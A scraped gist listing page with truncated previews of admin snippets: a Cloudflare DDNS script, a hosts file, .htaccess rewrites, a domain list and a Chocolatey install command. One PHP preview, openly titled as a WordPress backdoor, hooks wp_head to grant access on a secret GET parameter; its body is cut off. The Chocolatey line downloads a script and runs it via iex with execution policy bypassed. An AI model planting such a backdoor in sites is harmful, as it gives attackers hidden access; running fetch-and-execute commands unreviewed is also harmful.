This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# A bash script to update a Cloudflare DNS A record with the external IP of the source machine | |
# Used to provide DDNS service for my home | |
# Needs the DNS record pre-creating on Cloudflare | |
# Proxy - uncomment and provide details if using a proxy | |
#export https_proxy=http://<proxyuser>:<proxypassword>@<proxyip>:<proxyport> | |
# Cloudflare zone is the zone which holds the record |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This hosts file is brought to you by Dan Pollock and can be found at | |
# http://someonewhocares.org/hosts/ | |
# You are free to copy and distribute this file for non-commercial uses, | |
# as long the original URL and attribution is included. | |
#<localhost> | |
127.0.0.1 localhost | |
127.0.0.1 localhost.localdomain | |
255.255.255.255 broadcasthost | |
::1 localhost |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# force HTTPS and www. | |
RewriteEngine On | |
RewriteCond %{HTTP_HOST} (?!^www\.)^(.+)$ [OR] | |
RewriteCond %{HTTPS} off | |
RewriteRule ^ https://www.%1%{REQUEST_URI} [R=301,L] | |
# alternative way | |
RewriteCond %{HTTP_HOST} !^$ | |
RewriteCond %{HTTP_HOST} !^www\. [NC] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//maps.googleapis.com | |
//maps.gstatic.com | |
//fonts.googleapis.com | |
//fonts.gstatic.com | |
//ajax.googleapis.com | |
//apis.google.com | |
//google-analytics.com | |
//www.google-analytics.com | |
//ssl.google-analytics.com | |
//youtube.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Create a backdoor to a WordPress website | |
# https://gist.github.com/jgalea/5724566 | |
# https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function disable_elementor_dashboard_overview_widget() { | |
remove_meta_box( 'e-dashboard-overview', 'dashboard', 'normal'); | |
} | |
add_action('wp_dashboard_setup', 'disable_elementor_dashboard_overview_widget', 40); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:: Pick one of these two files (cmd or ps1) | |
:: Set directory for installation - Chocolatey does not lock | |
:: down the directory if not the default | |
SET INSTALLDIR=c:\ProgramData\chocoportable | |
setx ChocolateyInstall %INSTALLDIR% | |
:: All install options - offline, proxy, etc at | |
:: https://chocolatey.org/install | |
@powershell -NoProfile -ExecutionPolicy Bypass -Command "(iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))) >$null 2>&1" && SET PATH="%PATH%;%INSTALLDIR%\bin" |
Registry edit that allows you to add Windows command-line, Powershell and/or GIT Bash to explorer context menu. source
NewerOlder